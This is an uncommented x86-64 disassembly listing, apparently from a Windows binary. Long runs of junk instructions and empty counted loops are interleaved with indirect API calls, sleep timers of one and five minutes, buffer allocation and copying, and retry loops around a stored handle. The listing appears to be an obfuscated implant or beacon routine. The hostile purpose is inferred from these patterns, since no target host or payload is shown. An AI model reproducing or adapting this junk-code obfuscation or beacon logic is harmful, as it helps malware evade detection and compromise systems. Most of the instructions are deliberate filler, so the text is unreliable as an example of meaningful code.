inc qword [rsp]
mov esi, 0xa373
cmp esi, dword [rsp]
jl 0x1400028cb
add rsp, 0x10
movzx esi, dh
movzx ecx, byte [rbp - 0x68]
sub ah, 0xae
mov esi, 0xe131
mov qword [rbp - 0x143], r14
or rcx, qword [rbp - 0x12a]
and eax, dword [rbp - 0x4a0]
mov edx, dword [rbp - 0x2a9]
mov dword [rbp - 0x8a], edx
cmp esi, 0x6cf2237a
jae 0x140002939
mov r11, qword [rbp - 0x3b4]
movzx ecx, cl
mov qword [rbp - 0x2d7], rcx
add dword [rbp - 0x4f0], ecx
add rcx, qword [0x140009a2d]
xor qword [rbp - 0x1b0], r9
lea rax, [0x140009a2f]
mov rcx, rdx
sub ecx, eax
add edx, eax
mov r14, r11
sub esi, ecx
mov eax, dword [rbp - 0x93]
mov esi, dword [rbp - 0x1e4]
mov qword [0x140009a36], r8
movzx esi, al
mov r10, 0x25bf
mov qword [rbp - 0x417], r10
add r12, 0x4995
movzx edx, dh
movzx edx, cx
mov qword [rbp - 0x334], r11
leave
pop r12
pop r14
pop rsi
pop r15
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x88]
mov r9d, 0
mov rax, qword [0x14000991b]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x88
lea edx, [rbp - 0x1e]
mov r8, qword [rbp - 0x51]
or dword [rbp - 0x7a], edx
mov dword [rbp - 0x57], eax
mov dword [rbp - 0x4d], edx
mov dword [rbp - 0xb], eax
sub eax, dword [rbp - 0x47]
and rcx, r8
test rdx, rcx
jno 0x140002a77
and qword [rbp - 0x24], r10
mov ecx, dword [rbp - 0x67]
movzx eax, dh
mov r9, qword [0x140009a32]
add rcx, 0x1090
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002a53
mov qword [rbp - 0x4a], r8
mov qword [rbp - 0x63], r9
or eax, ecx
add eax, dword [rbp - 1]
mov r10, qword [rbp - 0x56]
lea ecx, [rbp - 0x3b]
mov edx, dword [rbp - 0x17]
add r9, qword [0x140009a2c]
movzx edx, ah
mov qword [rbp - 0x7d], rax
mov eax, dword [rbp - 0x6a]
mov r10, qword [rbp - 0x69]
add edx, ecx
xor r11, rdx
lea edx, [rbp - 0x54]
sub rdx, r9
add edx, dword [0x140009a31]
movzx edx, ax
and eax, dword [rbp - 2]
movzx eax, ah
sub ecx, eax
mov r8, qword [rbp - 0x67]
movzx eax, al
inc qword [rsp]
mov r8, 0xf95c
cmp qword [rsp], r8
jle 0x140002a00
add rsp, 0x10
mov qword [rbp - 0x2e], r10
add r8, r11
mov edx, dword [rbp - 0x3c]
mov edx, dword [rbp - 0x47]
mov dword [rbp - 0x5e], ecx
add r11, r9
mov qword [0x140009a34], r11
mov dword [rbp - 0x18], ecx
or dword [rbp - 0x11], ecx
mov dword [rbp - 0x78], ecx
movzx edx, ah
mov edx, eax
mov r9, qword [rbp - 0x4b]
mov qword [rbp - 0x26], r11
sub dl, 0x30
mov r11, rcx
xor dword [rbp - 0x41], ecx
mov dword [rbp - 0x66], ecx
mov dword [0x140009a32], edx
and eax, 0x25dd
mov qword [rbp - 0x52], r8
lea rcx, [rbp - 0x71]
mov r11, qword [rbp - 0xe]
sub qword [rbp - 0x32], r10
mov eax, dword [rbp - 3]
mov qword [rbp - 0x47], rcx
mov dword [rbp - 0xf], eax
movzx eax, ah
leave
lea rsi, [0x140009313]
mov r10, qword [rbp + 0x80]
call fcn.1400055e3
push rbp
mov rbp, rsp
sub rsp, 0x148
mov qword [rbp - 0xa5], rax
mov ecx, eax
movzx eax, dh
mov r11, qword [rbp - 0xf3]
movzx edx, al
and r8, qword [rbp - 0x12e]
add ecx, eax
mov ecx, eax
add dword [rbp - 0x44], ecx
mov r10, qword [rbp - 0x116]
sub qword [rbp - 0xc8], r8
mov dword [rbp - 0x76], edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002b39
mov rax, 0x1275
mov qword [rbp - 0x4c], r9
inc qword [rsp]
mov rdx, 0xd47c
cmp qword [rsp], rdx
jle 0x140002b2a
add rsp, 0x10
xor dword [rbp - 0xb1], edx
mov eax, dword [rbp - 0xc0]
mov qword [rbp - 0xf7], rcx
mov qword [rbp - 0x63], r8
sub dword [rbp - 0x60], ecx
movzx eax, dh
xor rcx, qword [rbp - 0xde]
sub r10, qword [rbp - 0xdd]
sub ecx, 0x41e0
mov r8, qword [rbp - 0x19]
sub qword [rbp - 0x2b], r10
mov qword [rbp - 0xd0], rdx
mov rcx, r10
mov r11, rcx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002c06
xor r11, r9
mov dword [rbp - 0xc4], eax
mov qword [rbp - 0x5d], r8
or ecx, 0x63d4
sub r11, qword [rbp - 0x12d]
movzx eax, cl
mov ecx, dword [rbp - 0x55]
mov byte [rbp - 0x34], dh
movzx edx, cx
mov ecx, dword [rbp - 0x26]
mov byte [rbp - 0x70], ch
movzx eax, cl
and qword [rbp - 0x13], r9
or edx, dword [rbp - 0xaf]
mov qword [rbp - 0x126], r8
mov qword [rbp - 0x118], r9
mov ecx, eax
mov r8, qword [rbp - 0x24]
mov r10, qword [rbp - 0x11d]
or ecx, eax
sub r11, 0x3f8
add rax, qword [rbp - 0xe2]
inc qword [rsp]
mov eax, 0x6a6
cmp eax, dword [rsp]
jl 0x140002b9e
add rsp, 0x10
sub eax, ecx
test edx, eax
jb 0x140002c32
mov r8, qword [rbp - 0x29]
lea r9, [0x140009a35]
mov rax, qword [0x140009a34]
and ecx, dword [rbp - 0xa3]
leave
mov rcx, qword [0x14000930b]
mov rdx, 0xea60
mov rax, qword [0x140009933]
call rax
push r12
push rbx
push rbp
mov rbp, rsp
sub rsp, 0x248
sub ebx, dword [rbp - 0x18c]
sub r9, qword [rbp - 0x40]
mov dword [rbp - 0x1db], ebx
mov qword [rbp - 0x1be], r11
add ebx, eax
movzx ecx, bh
add edx, dword [rbp - 0x237]
mov qword [rbp - 0x89], r10
mov r12, r9
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002cb7
mov dword [rbp - 0x1d8], eax
mov edx, dword [rbp - 0x12b]
mov r12, 0x297e
lea ebx, [rbp - 0x42]
mov r12, qword [rbp - 0x192]
add qword [rbp - 0x2a], r12
inc qword [rsp]
mov r9, 0xc401
cmp qword [rsp], r9
jle 0x140002c92
add rsp, 0x10
mov ebx, dword [rbp - 0x214]
mov rax, rcx
lea ebx, [rbp - 0xc0]
movzx ebx, dh
mov dh, byte [0x140009a39]
mov byte [rbp - 0x231], cl
mov r8, qword [rbp - 0xf4]
or rdx, qword [rbp - 0x12]
nop
mov r10, qword [str.fLlHJ2OTn6cPl9bBcMl4iQgpggh90ribDYGrFBdmT4JQSXUGoBfghBlTU5eCgMFJ3Hoy6jW0]
mov rdx, 0x1e72
mov r12, r9
add r12, 0x62ad
mov rcx, 0x65b9
mov r11, qword [rbp - 0x200]
xor dword [rbp - 0xc], ebx
mov dword [rbp - 0x4d], edx
sub qword [rbp - 0xff], r11
mov ecx, dword [rbp - 5]
mov rcx, qword [rbp - 0x152]
mov dword [rbp - 0x10e], eax
movzx ebx, bl
sub rax, qword [rbp - 0x1d1]
mov rbx, r10
mov bx, word [rbp - 0x1e7]
xor dword [rbp - 0x26], ecx
mov bl, byte [rbp - 4]
and dword [rbp - 0x12b], eax
mov dword [rbp - 6], eax
sub ebx, 0x4dd9
mov eax, dword [rbp - 0xa0]
mov rbx, rdx
add dword [0x140009a34], ebx
cmp rbx, qword [0x140009a30]
je 0x140002db6
sub qword [0x140009a38], rax
sub rcx, r9
sub ebx, eax
add rax, qword [rbp - 0xd4]
add r11, 0xdb48
mov qword [rbp - 0xdb], r12
add edx, dword [0x140009a36]
sub qword [rbp - 0x199], r12
xor edx, dword [rbp - 0x1d3]
mov ebx, ecx
mov dword [0x140009a2d], ecx
sub qword [rbp - 0x2c], rdx
leave
pop rbx
pop r12
mov rcx, 0x4006
mov rax, qword [0x1400099c3]
call rax
mov qword [0x1400092fb], rax
push rbp
mov rbp, rsp
sub rsp, 0x368
add qword [rbp - 0x70], r10
sub r8, qword [0x140009a31]
mov dword [rbp - 0x292], eax
add r10, qword [rbp - 0x32f]
xor edx, dword [0x140009a36]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002e38
sub qword [rbp - 0x4c], rdx
mov qword [rbp - 0x21d], rax
add dword [rbp - 0xb6], ecx
and dword [rbp - 0x330], eax
or qword [rbp - 0x47], r8
or ecx, edx
mov dword [rbp - 0x6b], eax
mov edx, ecx
lea r11, [rbp - 0x1ff]
movzx edx, cx
inc qword [rsp]
mov eax, 0xd4cd
cmp eax, dword [rsp]
jl 0x140002e08
add rsp, 0x10
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002e61
mov dword [rbp - 0xc], edx
mov ecx, dword [rbp - 0x2f2]
inc qword [rsp]
mov r9, 0xdd5a
cmp qword [rsp], r9
jle 0x140002e54
add rsp, 0x10
add dword [rbp - 0xa8], edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002ebc
or edx, dword [0x140009a2f]
mov qword [rbp - 0x2f3], r10
lea ecx, [rbp - 0x2d1]
mov rcx, qword [rbp - 0x77]
or dword [rbp - 0x17f], edx
sub dl, byte [rbp - 0x1b7]
mov edx, ecx
mov dword [rbp - 0xed], edx
mov qword [rbp - 0x19f], r11
inc qword [rsp]
cmp qword [rsp], 0xffd3
jle 0x140002e86
add rsp, 0x10
add dword [rbp - 5], edx
mov rdx, 0x74fe
add dword [0x140009a32], eax
mov rax, qword [rbp - 0xd3]
mov r11, qword [rbp - 0xb8]
mov qword [rbp - 0x24], rcx
nop
mov rcx, qword [rbp - 0x2b7]
mov edx, dword [rbp - 0x1a3]
and qword [rbp - 0x2ae], rdx
mov qword [rbp - 0xdc], rcx
sub eax, edx
mov qword [rbp - 0x29c], rax
add r8, qword [rbp - 0x1b7]
mov eax, dword [rbp - 0x21b]
mov qword [rbp - 0x1d4], rdx
movzx eax, ah
sub rax, qword [rbp - 0x1b]
mov r9, qword [rbp - 0x1ed]
mov ecx, dword [0x140009a39]
leave
mov rcx, qword [0x1400092fb]
mov eax, dword [0x1400091b7]
mov dword [rcx], eax
mov word [rcx + 4], 2
add rcx, 6
lea rdx, [0x14000978a]
mov rax, qword [0x1400099cb]
call rax
push r15
push r12
push rbp
mov rbp, rsp
sub rsp, 0x258
lea r12, [rbp - 0x101]
mov r10, qword [rbp - 0x201]
cmp r10, 0x6772cb9c
jb 0x140003030
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003001
mov eax, dword [rbp - 0x233]
and rdx, r10
mov qword [rbp - 0x1a4], r12
and dword [rbp - 0x126], eax
mov dword [rbp - 0x190], ecx
mov rcx, qword [rbp - 0xf]
lea r12, [rbp - 0x1bb]
movzx ecx, cl
mov cx, word [rbp - 0x1e]
mov edx, dword [0x140009a38]
xor edx, dword [rbp - 0x1c7]
mov eax, 0xc88b
mov dword [rbp - 0x183], ecx
add r11, qword [rbp - 0x116]
mov qword [rbp - 0x23a], r10
mov edx, ecx
sub dword [rbp - 0x103], edx
mov qword [rbp - 0x117], rcx
inc qword [rsp]
cmp qword [rsp], 0x6190
jle 0x140002f9b
add rsp, 0x10
mov ecx, eax
mov dword [rbp - 0x8d], ecx
mov eax, ecx
mov qword [rbp - 0x237], r12
mov rax, r10
mov dword [rbp - 0x149], edx
mov qword [rbp - 0x1d3], r11
mov eax, 0x2ea4
sub ecx, edx
movzx edx, ch
mov qword [rbp - 0x178], rdx
mov dword [rbp - 0x1d4], eax
mov rax, qword [rbp - 0x1a6]
mov qword [rbp - 0x9e], r12
sub r9, rax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003098
mov r10, qword [rbp - 0x158]
mov dword [rbp - 0x15f], eax
xor edx, dword [str.fLlHJ2OTn6cPl9bBcMl4iQgpggh90ribDYGrFBdmT4JQSXUGoBfghBlTU5eCgMFJ3Hoy6jW0]
mov qword [rbp - 0x90], rcx
mov r15, qword [rbp - 0xde]
sub rdx, r9
movzx edx, dh
mov qword [rbp - 0x22d], r9
inc qword [rsp]
cmp qword [rsp], 0xb795
jle 0x140003066
add rsp, 0x10
cmp r11, rcx
js 0x1400030b4
sub dword [rbp - 0xe7], eax
mov ecx, dword [rbp - 0x43]
leave
pop r12
pop r15
mov rdx, qword [0x1400092fb]
add rdx, 0xc
mov rcx, qword [rbp + 0x88]
mov r8, 0x4000
jmp 0x140003274
lea r9, [0x140009303]
mov qword [rsp + 0x20], 0
mov rax, qword [0x140009923]
call rax
add qword [0x140009303], 0xc
push r15
push rsi
push r12
push r13
push rdi
push rbp
mov rbp, rsp
sub rsp, 0x378
cmp rcx, 0x5319fa87
je 0x140003463
mov rsi, rdi
mov dword [0x140009a36], ecx
mov dword [rbp - 0x131], esi
mov dword [rbp - 0x1a0], esi
movzx edx, al
mov qword [rbp - 0x79], r10
xor rdx, qword [rbp - 0x28b]
mov edi, dword [rbp - 0x233]
add rcx, r8
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000336b
mov rcx, qword [rbp - 0x2c3]
mov qword [rbp - 0x2b6], rsi
lea rdx, [rbp - 0xa4]
mov edi, dword [rbp - 0xda]
mov r9, qword [rbp - 0x216]
sub dword [rbp - 0x36b], esi
movzx edi, word [0x140009a38]
mov dword [rbp - 0x1bf], eax
mov r8, 0x4d00
xor r8, 0xd0d2
mov r13, qword [rbp - 0x2b8]
mov eax, 0x4f51
mov rcx, r8
mov byte [rbp - 0x306], ch
and qword [rbp - 0x2e7], r11
add qword [rbp - 0x2c7], r9
mov ecx, 0x1f28
mov r9, qword [rbp - 0x1ee]
and rax, 0x8c58
inc qword [rsp]
cmp qword [rsp], 0xeb0c
jle 0x1400032ef
add rsp, 0x10
mov esi, dword [0x140009a37]
mov r15, r11
mov esi, dword [rbp - 0x363]
mov qword [rbp - 0x279], rdx
sub qword [rbp - 0x1e2], r10
movzx edx, cx
mov eax, 0xb1fb
mov dword [rbp - 0x286], edi
mov ecx, esi
mov r15, qword [rbp - 0xe6]
mov ah, 0xb
mov ecx, dword [rbp - 0xf1]
add dword [rbp - 0x1b4], esi
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003451
mov dword [rbp - 0x1a9], esi
lea esi, [rbp - 0x1d2]
add rdx, 0xa4
lea edi, [rbp - 0xa4]
add word [rbp - 0xf5], ax
sub rax, rcx
mov qword [rbp - 0x116], rdx
movzx esi, ah
mov dword [rbp - 0x6f], edi
add rdx, qword [rbp - 0x43]
movzx edx, byte [0x140009a2f]
and qword [rbp - 0x8c], r10
add edx, 0x64b4
mov rdi, qword [rbp - 0x345]
mov dword [0x140009a2e], ecx
mov qword [rbp - 0xd8], rax
movzx eax, ax
mov dword [rbp - 0x32a], esi
mov r11, rsi
mov ecx, dword [rbp - 0x1bc]
mov esi, eax
mov qword [rbp - 0x2bb], r8
xor edx, dword [rbp - 0x2bd]
inc qword [rsp]
mov esi, 0xd4ca
cmp esi, dword [rsp]
jl 0x1400033d0
add rsp, 0x10
leave
pop rdi
pop r13
pop r12
pop rsi
pop r15
lea rbp, [rsp + 0x200]
mov rcx, qword [0x1400092fb]
lea rdx, [0x14000947e]
mov rax, qword [0x1400099e3]
call rax
cmp rax, 0
jne 0x140006b33
push rdi
push rbp
mov rbp, rsp
sub rsp, 0x148
or ah, byte [rbp - 0xdc]
mov cx, 0x3e6f
sub rdx, qword [rbp - 0x12c]
mov r8, 0x9e69
and dword [rbp - 0x1f], edi
sub ecx, dword [rbp - 0xc6]
add edi, edx
mov r8, qword [rbp - 0x63]
mov dword [rbp - 0x8d], edi
mov qword [rbp - 0x8e], rdi
mov rcx, qword [rbp - 0x7f]
mov qword [rbp - 0xd3], rdi
mov ecx, edx
xor r11, qword [rbp - 0xbb]
mov qword [rbp - 0x3a], rdx
mov dword [rbp - 0x56], edx
mov ecx, dword [rbp - 0x91]
sub rax, 0x5e3
mov r11, rdi
xor qword [rbp - 0x130], rcx
cmp r8, qword [0x140009a3a]
js 0x140003542
mov rdx, qword [rbp - 0x65]
movzx edx, ch
sub qword [rbp - 0x13a], r9
add qword [rbp - 0xe2], r11
mov dword [rbp - 0x5f], edi
mov dword [rbp - 0x71], edx
mov r10, rdi
mov dword [0x140009a39], ecx
mov rdx, rdi
mov edi, dword [0x140009a38]
mov edi, dword [0x140009a34]
mov qword [rbp - 0x11d], r11
mov rdi, rcx
mov ecx, dword [rbp - 0x3b]
add edx, eax
mov rdx, qword [rbp - 0x2f]
xor edx, dword [rbp - 0xc2]
mov qword [rbp - 0xab], r9
movzx edi, dl
mov qword [rbp - 0x11b], rcx
sub byte [rbp - 0xbb], dl
sub edx, ecx
mov ecx, dword [rbp - 0xa]
xor r10, qword [rbp - 0xb0]
add edx, dword [0x140009a33]
and edx, dword [rbp - 0x115]
mov edx, 0x37bd
mov edx, dword [rbp - 0x83]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400035d5
mov ecx, dword [rbp - 0x13e]
xor rax, qword [rbp - 0xdd]
mov qword [rbp - 0x11d], r10
mov qword [rbp - 0x113], rcx
add eax, dword [rbp - 0xee]
mov eax, dword [rbp - 0x114]
mov qword [rbp - 0x88], r11
inc qword [rsp]
mov eax, 0x3f22
cmp eax, dword [rsp]
jl 0x1400035a3
add rsp, 0x10
leave
pop rdi
mov rdi, qword [0x1400092fb]
add rdi, 6
movsxd rsi, dword [0x140009303]
mov r12, 0x78
call fcn.140004c44
mov rcx, 0x3e8
mov rax, qword [0x14000992b]
call rax
push rdi
push r12
push r13
push rbx
push rsi
push r15
push r14
push rbp
mov rbp, rsp
sub rsp, 0x348
xor rdx, 0xf632
sub r15, qword [rbp - 0x273]
lea r15, [rbp - 0x1f8]
mov dword [rbp - 0x113], ecx
mov rcx, 0x86af
mov ecx, dword [rbp - 0x48]
mov rdx, qword [rbp - 0x58]
add edi, dword [rbp - 0x278]
mov edx, eax
sub qword [rbp - 0xc8], r14
lea r10, [rbp - 0x24c]
mov edi, edx
mov dword [rbp - 0x1a2], ebx
mov edi, dword [rbp - 0x71]
and ecx, dword [rbp - 0x183]
mov edx, 0xb8d
mov edx, dword [str.fLlHJ2OTn6cPl9bBcMl4iQgpggh90ribDYGrFBdmT4JQSXUGoBfghBlTU5eCgMFJ3Hoy6jW0]
mov edx, dword [rbp - 0x2ea]
cmp eax, edx
jno 0x1400037d6
add qword [rbp - 0x106], rdi
movzx esi, byte [rbp - 0x244]
mov word [rbp - 0x15a], ax
xor cl, byte [rbp - 0x123]
mov r11, qword [rbp - 0x1a7]
mov r9, qword [rbp - 0x2ca]
mov r10, rdx
and r12, rcx
movzx ebx, cl
mov ecx, esi
lea rsi, [rbp - 0x2a9]
lea rsi, [rbp - 0x1ce]
or r13, 0x2a6b
mov qword [rbp - 0x1ba], r12
add eax, dword [rbp - 0x270]
cmp rdx, 0xffffffffc44ab153
je 0x1400037ce
lea r11, [rbp - 0x40]
mov rdi, 0xbd74
sub dword [rbp - 0x168], edx
xor qword [rbp - 0x338], r8
sub qword [rbp - 0x1a2], rsi
add rdx, qword [rbp - 0x170]
lea rax, [rbp - 0x285]
mov edx, dword [rbp - 0x225]
or dword [rbp - 0x221], edi
movzx ecx, byte [rbp - 0x18e]
xor r12, qword [rbp - 0x10b]
mov qword [rbp - 0x1c2], r8
mov r14, qword [rbp - 0x1e1]
movzx ecx, ah
or edx, eax
and rax, r12
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400037b1
mov qword [rbp - 0x2e5], rcx
mov dword [rbp - 0x303], esi
mov qword [rbp - 0x321], rdx
mov dword [rbp - 0x179], edx
mov qword [rbp - 0x127], r15
mov r10, r14
add edx, dword [rbp - 0x268]
movzx edi, dl
mov edx, 0x6c17
mov qword [rbp - 0xa1], rdi
movzx ecx, ch
mov r10, qword [0x140009a2d]
movzx edx, ax
xor rcx, qword [rbp - 0xdf]
inc qword [rsp]
mov eax, 0x7f3e
cmp eax, dword [rsp]
jl 0x140003760
add rsp, 0x10
mov qword [rbp - 0x117], r8
mov esi, dword [rbp - 0x14a]
mov ecx, eax
sub dword [rbp - 0x2c2], edx
and eax, esi
leave
pop r14
pop r15
pop rsi
pop rbx
pop r13
pop r12
pop rdi
cmp qword [0x1400092f0], 0
je 0x140003807
mov rcx, qword [0x1400092f0]
mov rax, qword [0x1400099b3]
call rax
mov qword [0x1400092f0], 0
cmp qword [str.GGGGGGGG], 0xffffffffffffffff
je 0x1400039da
jne 0x1400039af
push rbp
mov rbp, rsp
sub rsp, 0x2d8
sub eax, dword [rbp - 0x248]
sub dword [rbp - 0x24e], ecx
add dword [rbp - 0x10a], eax
movzx ecx, cl
mov r10, qword [rbp - 0x104]
and ecx, eax
sub rdx, qword [rbp - 0x184]
xor rcx, r9
mov qword [rbp - 0x206], rax
mov qword [rbp - 0x2af], r10
add rcx, rax
mov dword [rbp - 0x6a], eax
mov r8, qword [rbp - 0x1fb]
mov dword [rbp - 0x293], edx
sub qword [rbp - 0xad], r9
mov qword [rbp - 0x54], r11
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000389b
add r10, 0x4e2d
movzx ecx, al
and ecx, dword [rbp - 0x7b]
xor ecx, edx
inc qword [rsp]
cmp qword [rsp], 0x3821
jle 0x140003888
add rsp, 0x10
mov ecx, dword [rbp - 0xa4]
add r9, r8
and dword [rbp - 0x148], eax
cmp r10, 0x7452ae1f
js 0x14000390e
mov edx, dword [0x140009a2e]
call fcn.140003910
mov dword [rbp - 0x111], eax
mov ax, word [rbp - 0x161]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400038fd
mov r10, rax
mov edx, ecx
movzx ecx, byte [rbp - 0x243]
and ecx, 0x240e
inc qword [rsp]
mov rax, 0x5260
cmp qword [rsp], rax
jle 0x1400038e7
add rsp, 0x10
leave
ret
mov rcx, qword [str.GGGGGGGG]
mov rax, qword [0x140009963]
call rax
mov qword [str.GGGGGGGG], 0xffffffffffffffff
mov rcx, 0x493e0
mov rax, qword [0x14000992b]
call rax
call 0x140006d0a
cmp rax, 0xffffffffffffffff
je 0x140003603
mov qword [str.GGGGGGGG], rax
push rbp
mov rbp, rsp
sub rsp, 0x288
mov eax, dword [rbp - 0x52]
mov qword [rbp - 0x26], rax
xor rdx, qword [rbp - 0x12e]
mov ecx, eax
mov qword [rbp - 0x70], r9
sub edx, 0xc668
sub rdx, r8
add rcx, r10
cmp r9, qword [0x140009a39]
jne 0x140003aa9
movzx eax, ch
movzx ecx, dl
mov eax, dword [rbp - 0x1ee]
sub qword [rbp - 0xe3], r10
mov rcx, 0x6080
mov r11, qword [rbp - 0x202]
mov eax, dword [rbp - 0x11]
sub dword [rbp - 0x201], eax
mov qword [0x140009a2f], r11
mov r9, qword [0x140009a36]
mov r9, 0x1236
lea r9, [0x140009a34]
mov r10, qword [rbp - 0x8c]
sub r9, r8
sub ecx, dword [rbp - 0x113]
mov ax, dx
mov rdx, qword [rbp - 0x1d5]
mov rcx, qword [rbp - 0x42]
movzx ecx, dl
mov qword [rbp - 0x19f], r10
mov qword [rbp - 0x44], rcx
mov r9, rdx
sub r8, 0xf1e8
add rdx, rcx
add edx, ecx
mov rax, qword [rbp - 0x251]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003b05
add r10, r8
or dword [rbp - 0x54], ecx
mov eax, dword [rbp - 0x1fa]
mov dword [0x140009a38], ecx
add qword [0x140009a36], rdx
mov qword [rbp - 0x215], rdx
mov rdx, qword [rbp - 0x24d]
mov dword [rbp - 0x20e], eax
movzx eax, dh
mov r11, qword [rbp - 0xf0]
mov rax, rcx
sub rcx, r8
mov eax, dword [rbp - 0xf3]
inc qword [rsp]
mov edx, 0xc521
cmp edx, dword [rsp]
jl 0x140003abe
add rsp, 0x10
leave
mov rcx, 0x200
add rcx, qword [0x140009303]
mov rax, qword [0x1400099c3]
call rax
mov qword [0x140009240], rax
mov rcx, rax
lea rdx, [0x1400091c6]
mov r8, qword [0x1400091be]
mov r9, qword [0x140009303]
mov rax, qword [0x1400099cb]
call rax
mov qword [0x140009248], rax
mov rcx, qword [0x140009303]
add qword [0x140009248], rcx
mov rcx, qword [0x140009240]
add rcx, rax
mov rdx, qword [0x1400092fb]
mov r8, qword [0x140009303]
mov rax, qword [0x1400099eb]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x1e8
mov ecx, dword [rbp - 0x1db]
add ax, cx
mov r10, qword [rbp - 0xdd]
mov r10, qword [rbp - 0x9c]
mov qword [rbp - 0x14d], rcx
mov dword [rbp - 0x122], edx
test r8, 0xffffffffee68ac8c
jne 0x140003ca0
and qword [rbp - 0x9f], rdx
mov dword [0x140009a39], edx
mov edx, eax
mov rax, qword [rbp - 0x2e]
mov r8, qword [rbp - 0x61]
xor edx, ecx
mov eax, dword [rbp - 0x1a0]
mov dword [rbp - 0x190], eax
mov ecx, dword [rbp - 0x12b]
mov r11, rcx
mov rax, qword [rbp - 0x1bf]
mov qword [rbp - 0x8c], r8
or dword [rbp - 0x194], ecx
mov qword [rbp - 0x197], rax
mov dword [rbp - 0x144], eax
sub r9, 0xa015
mov dword [rbp - 0x45], edx
mov ah, al
mov qword [rbp - 0x5e], r10
sub eax, dword [rbp - 0xac]
or qword [rbp - 0x157], r8
mov qword [rbp - 0x3c], rax
lea r9, [rbp - 0x76]
movzx ecx, al
mov dword [0x140009a33], edx
mov ecx, dword [0x140009a33]
mov ecx, dword [0x140009a32]
mov rcx, qword [rbp - 0x119]
lea r10, [rbp - 0x169]
add qword [rbp - 0x5b], rax
add qword [rbp - 0x8c], rcx
mov dword [rbp - 0x17f], edx
mov qword [rbp - 0xa9], r11
mov dword [0x140009a2d], eax
mov eax, dword [rbp - 0xe1]
mov eax, ecx
sub ecx, 0x1d8a
mov qword [rbp - 0x27], r8
or rdx, qword [rbp - 0x15]
or dword [rbp - 4], ecx
mov rcx, qword [rbp - 0x1de]
mov dword [rbp - 0x1a6], ecx
movzx edx, dl
or r11, r10
leave
mov qword [rbp - 0xbe], 0
mov rcx, qword [str.GGGGGGGG]
mov rdx, qword [0x140009240]
mov r8, qword [0x140009248]
inc r8
mov r9, 0
mov rax, qword [0x14000997b]
call rax
push rax
push rax
mov rcx, qword [0x140009240]
mov rax, qword [0x1400099b3]
call rax
push r14
push rsi
push rbp
mov rbp, rsp
sub rsp, 0x308
mov r11, 0x89d5
movzx eax, ax
mov ecx, 0x9483
or qword [rbp - 0x2ae], r14
mov dword [rbp - 0x1b7], edx
cmp r11, 0x6e3af77
jb 0x140003d79
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003d3e
mov qword [rbp - 0x10e], r9
mov dword [rbp - 0x2f6], esi
inc qword [rsp]
cmp qword [rsp], 0x50a0
jle 0x140003d2d
add rsp, 0x10
mov dword [rbp - 0x234], ecx
add rsi, 0x246b
mov dword [rbp - 0x297], esi
and eax, dword [rbp - 0xe2]
movzx ecx, ch
mov qword [rbp - 0x36], r8
mov qword [rbp - 0x85], rdx
lea eax, [rbp - 0x24e]
mov r9, qword [rbp - 0xb]
lea rax, [rbp - 0x269]
mov dword [rbp - 0xe6], esi
sub rdx, qword [rbp - 0x13b]
mov r9, r10
mov r10, qword [rbp - 0xd1]
mov edx, dword [rbp - 8]
sub r10, 0xf9a7
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003e6e
add rsi, qword [rbp - 0x273]
and r10, qword [rbp - 0x179]
movzx eax, dl
mov dword [rbp - 0x1a3], ecx
mov esi, edx
mov dword [rbp - 0x64], edx
mov esi, dword [rbp - 0x10]
mov ecx, 0xad9d
mov qword [rbp - 0xa1], rcx
sub ecx, dword [rbp - 0x19c]
xor r8, qword [rbp - 0xb6]
xor r11, qword [rbp - 0xc7]
mov rsi, qword [rbp - 0x242]
mov qword [rbp - 0x2e9], rcx
xor eax, 0x9f63
mov ecx, 0xd844
and edx, 0xe3c4
add qword [rbp - 0x8e], rdx
mov qword [rbp - 0xc5], r8
mov esi, dword [rbp - 0x275]
mov qword [rbp - 0xc6], r8
add dword [rbp - 0x13e], ecx
add qword [rbp - 0x42], r9
mov eax, 0x1f09
mov esi, eax
sub esi, 0x706e
mov dword [rbp - 0x273], esi
mov ecx, 0x3472
add rcx, r8
mov rax, qword [rbp - 0x48]
add dword [rbp - 0x10a], eax
mov edx, dword [rbp - 0x11]
lea r8, [rbp - 0xfb]
mov rsi, r11
inc qword [rsp]
mov rax, 0x1a5e
cmp qword [rsp], rax
jle 0x140003db6
add rsp, 0x10
leave
pop rsi
pop r14
pop rax
pop rax
cmp eax, 0
jle 0x140003603
push rbx
push rsi
push r12
push r14
push rdi
push r15
push rbp
mov rbp, rsp
sub rsp, 0x4a8
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003f69
mov qword [rbp - 0x454], r12
mov edi, 0x9d47
mov r11, qword [rbp - 0x48b]
mov dword [rbp - 0xc8], eax
mov r9, qword [0x140009a3a]
sub ebx, 0xc8f0
mov r15, r12
mov qword [0x140009a37], rbx
mov edi, ebx
movzx eax, ah
add edx, eax
mov qword [rbp - 0x323], r14
mov qword [rbp - 0x41c], rsi
movzx ecx, si
xor edi, 0x1ea4
mov eax, edx
sub ecx, ebx
sub esi, 0x6973
mov word [0x140009a37], bx
add ecx, dword [rbp - 0x40f]
mov rbx, qword [rbp - 0x1ee]
and dword [rbp - 0xb8], esi
mov dword [rbp - 0xa4], ebx
xor ebx, dword [rbp - 0x497]
mov r9, qword [rbp - 0x317]
mov ebx, dword [rbp - 0x40e]
mov qword [rbp - 0x1fb], rsi
and esi, dword [rbp - 0x10e]
mov qword [rbp - 0x48d], rcx
xor edx, esi
mov qword [rbp - 0x232], r12
mov dword [rbp - 0x348], ebx
inc qword [rsp]
